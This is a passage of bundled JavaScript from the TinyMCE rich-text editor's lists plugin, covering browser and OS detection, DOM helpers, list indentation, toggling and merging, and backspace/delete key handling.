/mobile/i.test(userAgent) === true; var isTouch = os.isiOS() || os.isAndroid(); var isPhone = isTouch && !isTablet; var iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false; return { isiPad: constant(isiPad), isiPhone: constant(isiPhone), isTablet: constant(isTablet), isPhone: constant(isPhone), isTouch: constant(isTouch), isAndroid: os.isAndroid, isiOS: os.isiOS, isWebView: constant(iOSwebview) }; }; var detect$1 = function (candidates, userAgent) { var agent = String(userAgent).toLowerCase(); return find(candidates, function (candidate) { return candidate.search(agent); }); }; var detectBrowser = function (browsers, userAgent) { return detect$1(browsers, userAgent).map(function (browser) { var version = Version.detect(browser.versionRegexes, userAgent); return { current: browser.name, version: version }; }); }; var detectOs = function (oses, userAgent) { return detect$1(oses, userAgent).map(function (os) { var version = Version.detect(os.versionRegexes, userAgent); return { current: os.name, version: version }; }); }; var UaString = { detectBrowser: detectBrowser, detectOs: detectOs }; var contains = function (str, substr) { return str.indexOf(substr) !== -1; }; var normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/; var checkContains = function (target) { return function (uastring) { return contains(uastring, target); }; }; var browsers = [ { name: 'Edge', versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/], search: function (uastring) { return contains(uastring, 'edge/') && contains(uastring, 'chrome') && contains(uastring, 'safari') && contains(uastring, 'applewebkit'); } }, { name: 'Chrome', versionRegexes: [ /.*?chrome\/([0-9]+)\.([0-9]+).*/, normalVersionRegex ], search: function (uastring) { return contains(uastring, 'chrome') && !contains(uastring, 'chromeframe'); } }, { name: 'IE', versionRegexes: [ /.*?msie\ ?([0-9]+)\.([0-9]+).*/, /.*?rv:([0-9]+)\.([0-9]+).*/ ], search: function (uastring) { return contains(uastring, 'msie') || contains(uastring, 'trident'); } }, { name: 'Opera', versionRegexes: [ normalVersionRegex, /.*?opera\/([0-9]+)\.([0-9]+).*/ ], search: checkContains('opera') }, { name: 'Firefox', versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/], search: checkContains('firefox') }, { name: 'Safari', versionRegexes: [ normalVersionRegex, /.*?cpu os ([0-9]+)_([0-9]+).*/ ], search: function (uastring) { return (contains(uastring, 'safari') || contains(uastring, 'mobile/')) && contains(uastring, 'applewebkit'); } } ]; var oses = [ { name: 'Windows', search: checkContains('win'), versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'iOS', search: function (uastring) { return contains(uastring, 'iphone') || contains(uastring, 'ipad'); }, versionRegexes: [ /.*?version\/\ ?([0-9]+)\.([0-9]+).*/, /.*cpu os ([0-9]+)_([0-9]+).*/, /.*cpu iphone os ([0-9]+)_([0-9]+).*/ ] }, { name: 'Android', search: checkContains('android'), versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/] }, { name: 'OSX', search: checkContains('os x'), versionRegexes: [/.*?os\ x\ ?([0-9]+)_([0-9]+).*/] }, { name: 'Linux', search: checkContains('linux'), versionRegexes: [] }, { name: 'Solaris', search: checkContains('sunos'), versionRegexes: [] }, { name: 'FreeBSD', search: checkContains('freebsd'), versionRegexes: [] } ]; var PlatformInfo = { browsers: constant(browsers), oses: constant(oses) }; var detect$2 = function (userAgent) { var browsers = PlatformInfo.browsers(); var oses = PlatformInfo.oses(); var browser = UaString.detectBrowser(browsers, userAgent).fold(Browser.unknown, Browser.nu); var os = UaString.detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu); var deviceType = DeviceType(os, browser, userAgent); return { browser: browser, os: os, deviceType: deviceType }; }; var PlatformDetection = { detect: detect$2 }; var detect$3 = cached(function () { var userAgent = domGlobals.navigator.userAgent; return PlatformDetection.detect(userAgent); }); var PlatformDetection$1 = { detect: detect$3 }; var ATTRIBUTE = domGlobals.Node.ATTRIBUTE_NODE; var CDATA_SECTION = domGlobals.Node.CDATA_SECTION_NODE; var COMMENT = domGlobals.Node.COMMENT_NODE; var DOCUMENT = domGlobals.Node.DOCUMENT_NODE; var DOCUMENT_TYPE = domGlobals.Node.DOCUMENT_TYPE_NODE; var DOCUMENT_FRAGMENT = domGlobals.Node.DOCUMENT_FRAGMENT_NODE; var ELEMENT = domGlobals.Node.ELEMENT_NODE; var TEXT = domGlobals.Node.TEXT_NODE; var PROCESSING_INSTRUCTION = domGlobals.Node.PROCESSING_INSTRUCTION_NODE; var ENTITY_REFERENCE = domGlobals.Node.ENTITY_REFERENCE_NODE; var ENTITY = domGlobals.Node.ENTITY_NODE; var NOTATION = domGlobals.Node.NOTATION_NODE; var ELEMENT$1 = ELEMENT; var is = function (element, selector) { var dom = element.dom(); if (dom.nodeType !== ELEMENT$1) { return false; } else { var elem = dom; if (elem.matches !== undefined) { return elem.matches(selector); } else if (elem.msMatchesSelector !== undefined) { return elem.msMatchesSelector(selector); } else if (elem.webkitMatchesSelector !== undefined) { return elem.webkitMatchesSelector(selector); } else if (elem.mozMatchesSelector !== undefined) { return elem.mozMatchesSelector(selector); } else { throw new Error('Browser lacks native selectors'); } } }; var eq = function (e1, e2) { return e1.dom() === e2.dom(); }; var regularContains = function (e1, e2) { var d1 = e1.dom(); var d2 = e2.dom(); return d1 === d2 ? false : d1.contains(d2); }; var ieContains = function (e1, e2) { return Node.documentPositionContainedBy(e1.dom(), e2.dom()); }; var browser = PlatformDetection$1.detect().browser; var contains$1 = browser.isIE() ? ieContains : regularContains; var is$1 = is; var parent = function (element) { return Option.from(element.dom().parentNode).map(Element.fromDom); }; var children = function (element) { return map(element.dom().childNodes, Element.fromDom); }; var child = function (element, index) { var cs = element.dom().childNodes; return Option.from(cs[index]).map(Element.fromDom); }; var firstChild = function (element) { return child(element, 0); }; var lastChild = function (element) { return child(element, element.dom().childNodes.length - 1); }; var spot = Immutable('element', 'offset'); var before = function (marker, element) { var parent$1 = parent(marker); parent$1.each(function (v) { v.dom().insertBefore(element.dom(), marker.dom()); }); }; var append = function (parent, element) { parent.dom().appendChild(element.dom()); }; var before$1 = function (marker, elements) { each(elements, function (x) { before(marker, x); }); }; var append$1 = function (parent, elements) { each(elements, function (x) { append(parent, x); }); }; var remove = function (element) { var dom = element.dom(); if (dom.parentNode !== null) { dom.parentNode.removeChild(dom); } }; var name = function (element) { var r = element.dom().nodeName; return r.toLowerCase(); }; var type = function (element) { return element.dom().nodeType; }; var isType$1 = function (t) { return function (element) { return type(element) === t; }; }; var isElement = isType$1(ELEMENT); var rawSet = function (dom, key, value) { if (isString(value) || isBoolean(value) || isNumber(value)) { dom.setAttribute(key, value + ''); } else { domGlobals.console.error('Invalid call to Attr.set. Key ', key, ':: Value ', value, ':: Element ', dom); throw new Error('Attribute value was not simple'); } }; var setAll = function (element, attrs) { var dom = element.dom(); each$1(attrs, function (v, k) { rawSet(dom, k, v); }); }; var clone = function (element) { return foldl(element.dom().attributes, function (acc, attr) { acc[attr.name] = attr.value; return acc; }, {}); }; var isSupported = function (dom) { return dom.style !== undefined && isFunction(dom.style.getPropertyValue); }; var internalSet = function (dom, property, value) { if (!isString(value)) { domGlobals.console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom); throw new Error('CSS value must be a string: ' + value); } if (isSupported(dom)) { dom.style.setProperty(property, value); } }; var set = function (element, property, value) { var dom = element.dom(); internalSet(dom, property, value); }; var clone$1 = function (original, isDeep) { return Element.fromDom(original.dom().cloneNode(isDeep)); }; var deep = function (original) { return clone$1(original, true); }; var shallowAs = function (original, tag) { var nu = Element.fromTag(tag); var attributes = clone(original); setAll(nu, attributes); return nu; }; var mutate = function (original, tag) { var nu = shallowAs(original, tag); before(original, nu); var children$1 = children(original); append$1(nu, children$1); remove(original); return nu; }; var joinSegment = function (parent, child) { append(parent.item, child.list); }; var joinSegments = function (segments) { for (var i = 1; i < segments.length; i++) { joinSegment(segments[i - 1], segments[i]); } }; var appendSegments = function (head$1, tail) { lift2(last(head$1), head(tail), joinSegment); }; var createSegment = function (scope, listType) { var segment = { list: Element.fromTag(listType, scope), item: Element.fromTag('li', scope) }; append(segment.list, segment.item); return segment; }; var createSegments = function (scope, entry, size) { var segments = []; for (var i = 0; i < size; i++) { segments.push(createSegment(scope, entry.listType)); } return segments; }; var populateSegments = function (segments, entry) { for (var i = 0; i < segments.length - 1; i++) { set(segments[i].item, 'list-style-type', 'none'); } last(segments).each(function (segment) { setAll(segment.list, entry.listAttributes); setAll(segment.item, entry.itemAttributes); append$1(segment.item, entry.content); }); }; var normalizeSegment = function (segment, entry) { if (name(segment.list) !== entry.listType) { segment.list = mutate(segment.list, entry.listType); } setAll(segment.list, entry.listAttributes); }; var createItem = function (scope, attr, content) { var item = Element.fromTag('li', scope); setAll(item, attr); append$1(item, content); return item; }; var appendItem = function (segment, item) { append(segment.list, item); segment.item = item; }; var writeShallow = function (scope, cast, entry) { var newCast = cast.slice(0, entry.depth); last(newCast).each(function (segment) { var item = createItem(scope, entry.itemAttributes, entry.content); appendItem(segment, item); normalizeSegment(segment, entry); }); return newCast; }; var writeDeep = function (scope, cast, entry) { var segments = createSegments(scope, entry, entry.depth - cast.length); joinSegments(segments); populateSegments(segments, entry); appendSegments(cast, segments); return cast.concat(segments); }; var composeList = function (scope, entries) { var cast = foldl(entries, function (cast, entry) { return entry.depth > cast.length ? writeDeep(scope, cast, entry) : writeShallow(scope, cast, entry); }, []); return head(cast).map(function (segment) { return segment.list; }); }; var isList$1 = function (el) { return is$1(el, 'OL,UL'); }; var hasFirstChildList = function (el) { return firstChild(el).map(isList$1).getOr(false); }; var hasLastChildList = function (el) { return lastChild(el).map(isList$1).getOr(false); }; var isIndented = function (entry) { return entry.depth > 0; }; var isSelected = function (entry) { return entry.isSelected; }; var cloneItemContent = function (li) { var children$1 = children(li); var content = hasLastChildList(li) ? children$1.slice(0, -1) : children$1; return map(content, deep); }; var createEntry = function (li, depth, isSelected) { return parent(li).filter(isElement).map(function (list) { return { depth: depth, isSelected: isSelected, content: cloneItemContent(li), itemAttributes: clone(li), listAttributes: clone(list), listType: name(list) }; }); }; var indentEntry = function (indentation, entry) { switch (indentation) { case 'Indent': entry.depth++; break; case 'Outdent': entry.depth--; break; case 'Flatten': entry.depth = 0; } }; var hasOwnProperty = Object.prototype.hasOwnProperty; var shallow = function (old, nu) { return nu; }; var baseMerge = function (merger) { return function () { var objects = new Array(arguments.length); for (var i = 0; i < objects.length; i++) { objects[i] = arguments[i]; } if (objects.length === 0) { throw new Error('Can\'t merge zero objects'); } var ret = {}; for (var j = 0; j < objects.length; j++) { var curObject = objects[j]; for (var key in curObject) { if (hasOwnProperty.call(curObject, key)) { ret[key] = merger(ret[key], curObject[key]); } } } return ret; }; }; var merge = baseMerge(shallow); var cloneListProperties = function (target, source) { target.listType = source.listType; target.listAttributes = merge({}, source.listAttributes); }; var previousSiblingEntry = function (entries, start) { var depth = entries[start].depth; for (var i = start - 1; i >= 0; i--) { if (entries[i].depth === depth) { return Option.some(entries[i]); } if (entries[i].depth < depth) { break; } } return Option.none(); }; var normalizeEntries = function (entries) { each(entries, function (entry, i) { previousSiblingEntry(entries, i).each(function (matchingEntry) { cloneListProperties(entry, matchingEntry); }); }); }; var Cell = function (initial) { var value = initial; var get = function () { return value; }; var set = function (v) { value = v; }; var clone = function () { return Cell(get()); }; return { get: get, set: set, clone: clone }; }; var parseItem = function (depth, itemSelection, selectionState, item) { return firstChild(item).filter(isList$1).fold(function () { itemSelection.each(function (selection) { if (eq(selection.start, item)) { selectionState.set(true); } }); var currentItemEntry = createEntry(item, depth, selectionState.get()); itemSelection.each(function (selection) { if (eq(selection.end, item)) { selectionState.set(false); } }); var childListEntries = lastChild(item).filter(isList$1).map(function (list) { return parseList(depth, itemSelection, selectionState, list); }).getOr([]); return currentItemEntry.toArray().concat(childListEntries); }, function (list) { return parseList(depth, itemSelection, selectionState, list); }); }; var parseList = function (depth, itemSelection, selectionState, list) { return bind(children(list), function (element) { var parser = isList$1(element) ? parseList : parseItem; var newDepth = depth + 1; return parser(newDepth, itemSelection, selectionState, element); }); }; var parseLists = function (lists, itemSelection) { var selectionState = Cell(false); var initialDepth = 0; return map(lists, function (list) { return { sourceList: list, entries: parseList(initialDepth, itemSelection, selectionState, list) }; }); }; var global$8 = tinymce.util.Tools.resolve('tinymce.Env'); var createTextBlock = function (editor, contentNode) { var dom = editor.dom; var blockElements = editor.schema.getBlockElements(); var fragment = dom.createFragment(); var node, textBlock, blockName, hasContentNode; if (editor.settings.forced_root_block) { blockName = editor.settings.forced_root_block; } if (blockName) { textBlock = dom.create(blockName); if (textBlock.tagName === editor.settings.forced_root_block) { dom.setAttribs(textBlock, editor.settings.forced_root_block_attrs); } if (!NodeType.isBlock(contentNode.firstChild, blockElements)) { fragment.appendChild(textBlock); } } if (contentNode) { while (node = contentNode.firstChild) { var nodeName = node.nodeName; if (!hasContentNode && (nodeName !== 'SPAN' || node.getAttribute('data-mce-type') !== 'bookmark')) { hasContentNode = true; } if (NodeType.isBlock(node, blockElements)) { fragment.appendChild(node); textBlock = null; } else { if (blockName) { if (!textBlock) { textBlock = dom.create(blockName); fragment.appendChild(textBlock); } textBlock.appendChild(node); } else { fragment.appendChild(node); } } } } if (!editor.settings.forced_root_block) { fragment.appendChild(dom.create('br')); } else { if (!hasContentNode && (!global$8.ie || global$8.ie > 10)) { textBlock.appendChild(dom.create('br', { 'data-mce-bogus': '1' })); } } return fragment; }; var outdentedComposer = function (editor, entries) { return map(entries, function (entry) { var content = fromElements(entry.content); return Element.fromDom(createTextBlock(editor, content.dom())); }); }; var indentedComposer = function (editor, entries) { normalizeEntries(entries); return composeList(editor.contentDocument, entries).toArray(); }; var composeEntries = function (editor, entries) { return bind(groupBy(entries, isIndented), function (entries) { var groupIsIndented = head(entries).map(isIndented).getOr(false); return groupIsIndented ? indentedComposer(editor, entries) : outdentedComposer(editor, entries); }); }; var indentSelectedEntries = function (entries, indentation) { each(filter(entries, isSelected), function (entry) { return indentEntry(indentation, entry); }); }; var getItemSelection = function (editor) { var selectedListItems = map(Selection.getSelectedListItems(editor), Element.fromDom); return lift2(find(selectedListItems, not(hasFirstChildList)), find(reverse(selectedListItems), not(hasFirstChildList)), function (start, end) { return { start: start, end: end }; }); }; var listsIndentation = function (editor, lists, indentation) { var entrySets = parseLists(lists, getItemSelection(editor)); each(entrySets, function (entrySet) { indentSelectedEntries(entrySet.entries, indentation); before$1(entrySet.sourceList, composeEntries(editor, entrySet.entries)); remove(entrySet.sourceList); }); }; var DOM$1 = global$6.DOM; var splitList = function (editor, ul, li) { var tmpRng, fragment, bookmarks, node, newBlock; var removeAndKeepBookmarks = function (targetNode) { global$5.each(bookmarks, function (node) { targetNode.parentNode.insertBefore(node, li.parentNode); }); DOM$1.remove(targetNode); }; bookmarks = DOM$1.select('span[data-mce-type="bookmark"]', ul); newBlock = createTextBlock(editor, li); tmpRng = DOM$1.createRng(); tmpRng.setStartAfter(li); tmpRng.setEndAfter(ul); fragment = tmpRng.extractContents(); for (node = fragment.firstChild; node; node = node.firstChild) { if (node.nodeName === 'LI' && editor.dom.isEmpty(node)) { DOM$1.remove(node); break; } } if (!editor.dom.isEmpty(fragment)) { DOM$1.insertAfter(fragment, ul); } DOM$1.insertAfter(newBlock, ul); if (NodeType.isEmpty(editor.dom, li.parentNode)) { removeAndKeepBookmarks(li.parentNode); } DOM$1.remove(li); if (NodeType.isEmpty(editor.dom, ul)) { DOM$1.remove(ul); } }; var SplitList = { splitList: splitList }; var outdentDlItem = function (editor, item) { if (is$1(item, 'dd')) { mutate(item, 'dt'); } else if (is$1(item, 'dt')) { parent(item).each(function (dl) { return SplitList.splitList(editor, dl.dom(), item.dom()); }); } }; var indentDlItem = function (item) { if (is$1(item, 'dt')) { mutate(item, 'dd'); } }; var dlIndentation = function (editor, indentation, dlItems) { if (indentation === 'Indent') { each(dlItems, indentDlItem); } else { each(dlItems, function (item) { return outdentDlItem(editor, item); }); } }; var selectionIndentation = function (editor, indentation) { var lists = map(Selection.getSelectedListRoots(editor), Element.fromDom); var dlItems = map(Selection.getSelectedDlItems(editor), Element.fromDom); var isHandled = false; if (lists.length || dlItems.length) { var bookmark = editor.selection.getBookmark(); listsIndentation(editor, lists, indentation); dlIndentation(editor, indentation, dlItems); editor.selection.moveToBookmark(bookmark); editor.selection.setRng(Range.normalizeRange(editor.selection.getRng())); editor.nodeChanged(); isHandled = true; } return isHandled; }; var indentListSelection = function (editor) { return selectionIndentation(editor, 'Indent'); }; var outdentListSelection = function (editor) { return selectionIndentation(editor, 'Outdent'); }; var flattenListSelection = function (editor) { return selectionIndentation(editor, 'Flatten'); }; var updateListStyle = function (dom, el, detail) { var type = detail['list-style-type'] ? detail['list-style-type'] : null; dom.setStyle(el, 'list-style-type', type); }; var setAttribs = function (elm, attrs) { global$5.each(attrs, function (value, key) { elm.setAttribute(key, value); }); }; var updateListAttrs = function (dom, el, detail) { setAttribs(el, detail['list-attributes']); global$5.each(dom.select('li', el), function (li) { setAttribs(li, detail['list-item-attributes']); }); }; var updateListWithDetails = function (dom, el, detail) { updateListStyle(dom, el, detail); updateListAttrs(dom, el, detail); }; var removeStyles = function (dom, element, styles) { global$5.each(styles, function (style) { var _a; return dom.setStyle(element, (_a = {}, _a[style] = '', _a)); }); }; var getEndPointNode = function (editor, rng, start, root) { var container, offset; container = rng[start ? 'startContainer' : 'endContainer']; offset = rng[start ? 'startOffset' : 'endOffset']; if (container.nodeType === 1) { container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container; } if (!start && NodeType.isBr(container.nextSibling)) { container = container.nextSibling; } while (container.parentNode !== root) { if (NodeType.isTextBlock(editor, container)) { return container; } if (/^(TD|TH)$/.test(container.parentNode.nodeName)) { return container; } container = container.parentNode; } return container; }; var getSelectedTextBlocks = function (editor, rng, root) { var textBlocks = [], dom = editor.dom; var startNode = getEndPointNode(editor, rng, true, root); var endNode = getEndPointNode(editor, rng, false, root); var block; var siblings = []; for (var node = startNode; node; node = node.nextSibling) { siblings.push(node); if (node === endNode) { break; } } global$5.each(siblings, function (node) { if (NodeType.isTextBlock(editor, node)) { textBlocks.push(node); block = null; return; } if (dom.isBlock(node) || NodeType.isBr(node)) { if (NodeType.isBr(node)) { dom.remove(node); } block = null; return; } var nextSibling = node.nextSibling; if (global$4.isBookmarkNode(node)) { if (NodeType.isTextBlock(editor, nextSibling) || !nextSibling && node.parentNode === root) { block = null; return; } } if (!block) { block = dom.create('p'); node.parentNode.insertBefore(block, node); textBlocks.push(block); } block.appendChild(node); }); return textBlocks; }; var hasCompatibleStyle = function (dom, sib, detail) { var sibStyle = dom.getStyle(sib, 'list-style-type'); var detailStyle = detail ? detail['list-style-type'] : ''; detailStyle = detailStyle === null ? '' : detailStyle; return sibStyle === detailStyle; }; var applyList = function (editor, listName, detail) { if (detail === void 0) { detail = {}; } var rng = editor.selection.getRng(true); var bookmark; var listItemName = 'LI'; var root = Selection.getClosestListRootElm(editor, editor.selection.getStart(true)); var dom = editor.dom; if (dom.getContentEditable(editor.selection.getNode()) === 'false') { return; } listName = listName.toUpperCase(); if (listName === 'DL') { listItemName = 'DT'; } bookmark = Bookmark.createBookmark(rng); global$5.each(getSelectedTextBlocks(editor, rng, root), function (block) { var listBlock, sibling; sibling = block.previousSibling; if (sibling && NodeType.isListNode(sibling) && sibling.nodeName === listName && hasCompatibleStyle(dom, sibling, detail)) { listBlock = sibling; block = dom.rename(block, listItemName); sibling.appendChild(block); } else { listBlock = dom.create(listName); block.parentNode.insertBefore(listBlock, block); listBlock.appendChild(block); block = dom.rename(block, listItemName); } removeStyles(dom, block, [ 'margin', 'margin-right', 'margin-bottom', 'margin-left', 'margin-top', 'padding', 'padding-right', 'padding-bottom', 'padding-left', 'padding-top' ]); updateListWithDetails(dom, listBlock, detail); mergeWithAdjacentLists(editor.dom, listBlock); }); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); }; var isValidLists = function (list1, list2) { return list1 && list2 && NodeType.isListNode(list1) && list1.nodeName === list2.nodeName; }; var hasSameListStyle = function (dom, list1, list2) { var targetStyle = dom.getStyle(list1, 'list-style-type', true); var style = dom.getStyle(list2, 'list-style-type', true); return targetStyle === style; }; var hasSameClasses = function (elm1, elm2) { return elm1.className === elm2.className; }; var shouldMerge = function (dom, list1, list2) { return isValidLists(list1, list2) && hasSameListStyle(dom, list1, list2) && hasSameClasses(list1, list2); }; var mergeWithAdjacentLists = function (dom, listBlock) { var sibling, node; sibling = listBlock.nextSibling; if (shouldMerge(dom, listBlock, sibling)) { while (node = sibling.firstChild) { listBlock.appendChild(node); } dom.remove(sibling); } sibling = listBlock.previousSibling; if (shouldMerge(dom, listBlock, sibling)) { while (node = sibling.lastChild) { listBlock.insertBefore(node, listBlock.firstChild); } dom.remove(sibling); } }; var updateList = function (dom, list, listName, detail) { if (list.nodeName !== listName) { var newList = dom.rename(list, listName); updateListWithDetails(dom, newList, detail); } else { updateListWithDetails(dom, list, detail); } }; var toggleMultipleLists = function (editor, parentList, lists, listName, detail) { if (parentList.nodeName === listName && !hasListStyleDetail(detail)) { flattenListSelection(editor); } else { var bookmark = Bookmark.createBookmark(editor.selection.getRng(true)); global$5.each([parentList].concat(lists), function (elm) { updateList(editor.dom, elm, listName, detail); }); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } }; var hasListStyleDetail = function (detail) { return 'list-style-type' in detail; }; var toggleSingleList = function (editor, parentList, listName, detail) { if (parentList === editor.getBody()) { return; } if (parentList) { if (parentList.nodeName === listName && !hasListStyleDetail(detail)) { flattenListSelection(editor); } else { var bookmark = Bookmark.createBookmark(editor.selection.getRng(true)); updateListWithDetails(editor.dom, parentList, detail); mergeWithAdjacentLists(editor.dom, editor.dom.rename(parentList, listName)); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } } else { applyList(editor, listName, detail); } }; var toggleList = function (editor, listName, detail) { var parentList = Selection.getParentList(editor); var selectedSubLists = Selection.getSelectedSubLists(editor); detail = detail ? detail : {}; if (parentList && selectedSubLists.length > 0) { toggleMultipleLists(editor, parentList, selectedSubLists, listName, detail); } else { toggleSingleList(editor, parentList, listName, detail); } }; var ToggleList = { toggleList: toggleList, mergeWithAdjacentLists: mergeWithAdjacentLists }; var DOM$2 = global$6.DOM; var normalizeList = function (dom, ul) { var sibling; var parentNode = ul.parentNode; if (parentNode.nodeName === 'LI' && parentNode.firstChild === ul) { sibling = parentNode.previousSibling; if (sibling && sibling.nodeName === 'LI') { sibling.appendChild(ul); if (NodeType.isEmpty(dom, parentNode)) { DOM$2.remove(parentNode); } } else { DOM$2.setStyle(parentNode, 'listStyleType', 'none'); } } if (NodeType.isListNode(parentNode)) { sibling = parentNode.previousSibling; if (sibling && sibling.nodeName === 'LI') { sibling.appendChild(ul); } } }; var normalizeLists = function (dom, element) { global$5.each(global$5.grep(dom.select('ol,ul', element)), function (ul) { normalizeList(dom, ul); }); }; var NormalizeLists = { normalizeList: normalizeList, normalizeLists: normalizeLists }; var findNextCaretContainer = function (editor, rng, isForward, root) { var node = rng.startContainer; var offset = rng.startOffset; var nonEmptyBlocks, walker; if (node.nodeType === 3 && (isForward ? offset < node.data.length : offset > 0)) { return node; } nonEmptyBlocks = editor.schema.getNonEmptyElements(); if (node.nodeType === 1) { node = global$1.getNode(node, offset); } walker = new global$2(node, root); if (isForward) { if (NodeType.isBogusBr(editor.dom, node)) { walker.next(); } } while (node = walker[isForward ? 'next' : 'prev2']()) { if (node.nodeName === 'LI' && !node.hasChildNodes()) { return node; } if (nonEmptyBlocks[node.nodeName]) { return node; } if (node.nodeType === 3 && node.data.length > 0) { return node; } } }; var hasOnlyOneBlockChild = function (dom, elm) { var childNodes = elm.childNodes; return childNodes.length === 1 && !NodeType.isListNode(childNodes[0]) && dom.isBlock(childNodes[0]); }; var unwrapSingleBlockChild = function (dom, elm) { if (hasOnlyOneBlockChild(dom, elm)) { dom.remove(elm.firstChild, true); } }; var moveChildren = function (dom, fromElm, toElm) { var node, targetElm; targetElm = hasOnlyOneBlockChild(dom, toElm) ? toElm.firstChild : toElm; unwrapSingleBlockChild(dom, fromElm); if (!NodeType.isEmpty(dom, fromElm, true)) { while (node = fromElm.firstChild) { targetElm.appendChild(node); } } }; var mergeLiElements = function (dom, fromElm, toElm) { var node, listNode; var ul = fromElm.parentNode; if (!NodeType.isChildOfBody(dom, fromElm) || !NodeType.isChildOfBody(dom, toElm)) { return; } if (NodeType.isListNode(toElm.lastChild)) { listNode = toElm.lastChild; } if (ul === toElm.lastChild) { if (NodeType.isBr(ul.previousSibling)) { dom.remove(ul.previousSibling); } } node = toElm.lastChild; if (node && NodeType.isBr(node) && fromElm.hasChildNodes()) { dom.remove(node); } if (NodeType.isEmpty(dom, toElm, true)) { dom.$(toElm).empty(); } moveChildren(dom, fromElm, toElm); if (listNode) { toElm.appendChild(listNode); } var contains = contains$1(Element.fromDom(toElm), Element.fromDom(fromElm)); var nestedLists = contains ? dom.getParents(fromElm, NodeType.isListNode, toElm) : []; dom.remove(fromElm); each(nestedLists, function (list) { if (NodeType.isEmpty(dom, list) && list !== dom.getRoot()) { dom.remove(list); } }); }; var mergeIntoEmptyLi = function (editor, fromLi, toLi) { editor.dom.$(toLi).empty(); mergeLiElements(editor.dom, fromLi, toLi); editor.selection.setCursorLocation(toLi); }; var mergeForward = function (editor, rng, fromLi, toLi) { var dom = editor.dom; if (dom.isEmpty(toLi)) { mergeIntoEmptyLi(editor, fromLi, toLi); } else { var bookmark = Bookmark.createBookmark(rng); mergeLiElements(dom, fromLi, toLi); editor.selection.setRng(Bookmark.resolveBookmark(bookmark)); } }; var mergeBackward = function (editor, rng, fromLi, toLi) { var bookmark = Bookmark.createBookmark(rng); mergeLiElements(editor.dom, fromLi, toLi); var resolvedBookmark = Bookmark.resolveBookmark(bookmark); editor.selection.setRng(resolvedBookmark); }; var backspaceDeleteFromListToListCaret = function (editor, isForward) { var dom = editor.dom, selection = editor.selection; var selectionStartElm = selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var li = dom.getParent(selection.getStart(), 'LI', root); var ul, rng, otherLi; if (li) { ul = li.parentNode; if (ul === editor.getBody() && NodeType.isEmpty(dom, ul)) { return true; } rng = Range.normalizeRange(selection.getRng(true)); otherLi = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root); if (otherLi && otherLi !== li) { if (isForward) { mergeForward(editor, rng, otherLi, li); } else { mergeBackward(editor, rng, li, otherLi); } return true; } else if (!otherLi) { if (!isForward) { flattenListSelection(editor); return true; } } } return false; }; var removeBlock = function (dom, block, root) { var parentBlock = dom.getParent(block.parentNode, dom.isBlock, root); dom.remove(block); if (parentBlock && dom.isEmpty(parentBlock)) { dom.remove(parentBlock); } }; var backspaceDeleteIntoListCaret = function (editor, isForward) { var dom = editor.dom; var selectionStartElm = editor.selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var block = dom.getParent(selectionStartElm, dom.isBlock, root); if (block && dom.isEmpty(block)) { var rng = Range.normalizeRange(editor.selection.getRng(true)); var otherLi_1 = dom.getParent(findNextCaretContainer(editor, rng, isForward, root), 'LI', root); if (otherLi_1) { editor.undoManager.transact(function () { removeBlock(dom, block, root); ToggleList.mergeWithAdjacentLists(dom, otherLi_1.parentNode); editor.selection.select(otherLi_1, true); editor.selection.collapse(isForward); }); return true; } } return false; }; var backspaceDeleteCaret = function (editor, isForward) { return backspaceDeleteFromListToListCaret(editor, isForward) || backspaceDeleteIntoListCaret(editor, isForward); }; var backspaceDeleteRange = function (editor) { var selectionStartElm = editor.selection.getStart(); var root = Selection.getClosestListRootElm(editor, selectionStartElm); var startListParent = editor.dom.getParent(selectionStartElm, 'LI,DT,DD', root); if (startListParent || Selection.getSelectedListItems(editor).length > 0) { editor.undoManager.transact(function () { editor.execCommand('Delete'); NormalizeLists.normalizeLists(editor.dom, editor.getBody()); }); return true; } return false; }; var backspaceDelete = function (editor, isForward) { return editor.selection.isCollapsed() ? backspaceDeleteCaret(editor, isForward) : backspaceDeleteRange(editor); }; var setup = function (editor) { editor.on('keydown', function (e) { if (e.keyCode === global$3.BACKSPACE) { if (backspaceDelete(editor, false)) { e.preventDefault(); } } else if (e.keyCode === global$3.DELETE) { if (backspaceDelete(editor, true)) { e.preventDefault(); } } }); }; var Delete = { setup: setup, backspaceDelete: backspaceDelete }; var get = function (editor) { return { backspaceDelete: function (isForward) { Delete.backspaceDelete(editor, isForward); } }; }; var Api = { get: get }; var queryListCommandState = function (editor, listName) { return function () { var parentList = editor.dom.getParent(editor.selection.getStart(), 'UL,OL,DL'); return parentList && parentList.nodeName === listName; }; }; var register = function (editor) { editor.on('BeforeExecCommand', function (e) { var cmd = e.command.toLowerCase(); if (cmd === 'indent') { indentListSelection(editor); } else if (cmd === 'outdent') { outdentListSelection(editor); } }); editor.addCommand('InsertUnorderedList', function (ui, detail) { ToggleList.toggleList(editor, 'UL', detail); }); editor.addCommand('InsertOrderedList', function (ui, detail) { ToggleList.toggleList(editor, 'OL', detail); }); editor.addCommand('InsertDefinitionList', function (ui, detail) { ToggleList.toggleList(editor, 'DL', detail); }); editor.addCommand('RemoveList', function () { flattenListSelection(editor); }); editor.addQueryStateHandler('InsertUnorderedList', queryListCommandState(editor, 'UL')); editor.addQueryStateHandler('InsertOrderedList', queryListCommandState(editor, 'OL')); editor.addQueryStateHandler('InsertDefinitionList', queryListCommandState(editor, 'DL')); }; var Commands = { register: register }; var shouldIndentOnTab = function (editor) { return editor.getParam('lists_indent_on_tab', true); }; var Settings = { shouldIndentOnTab: shouldIndentOnTab }; var setupTabKey = function (editor) { editor.on('keydown', function (e) { if (e.keyCode !== global$3.TAB || global$3.metaKeyPressed(e)) { return; } editor.undoManager.transact(function () { 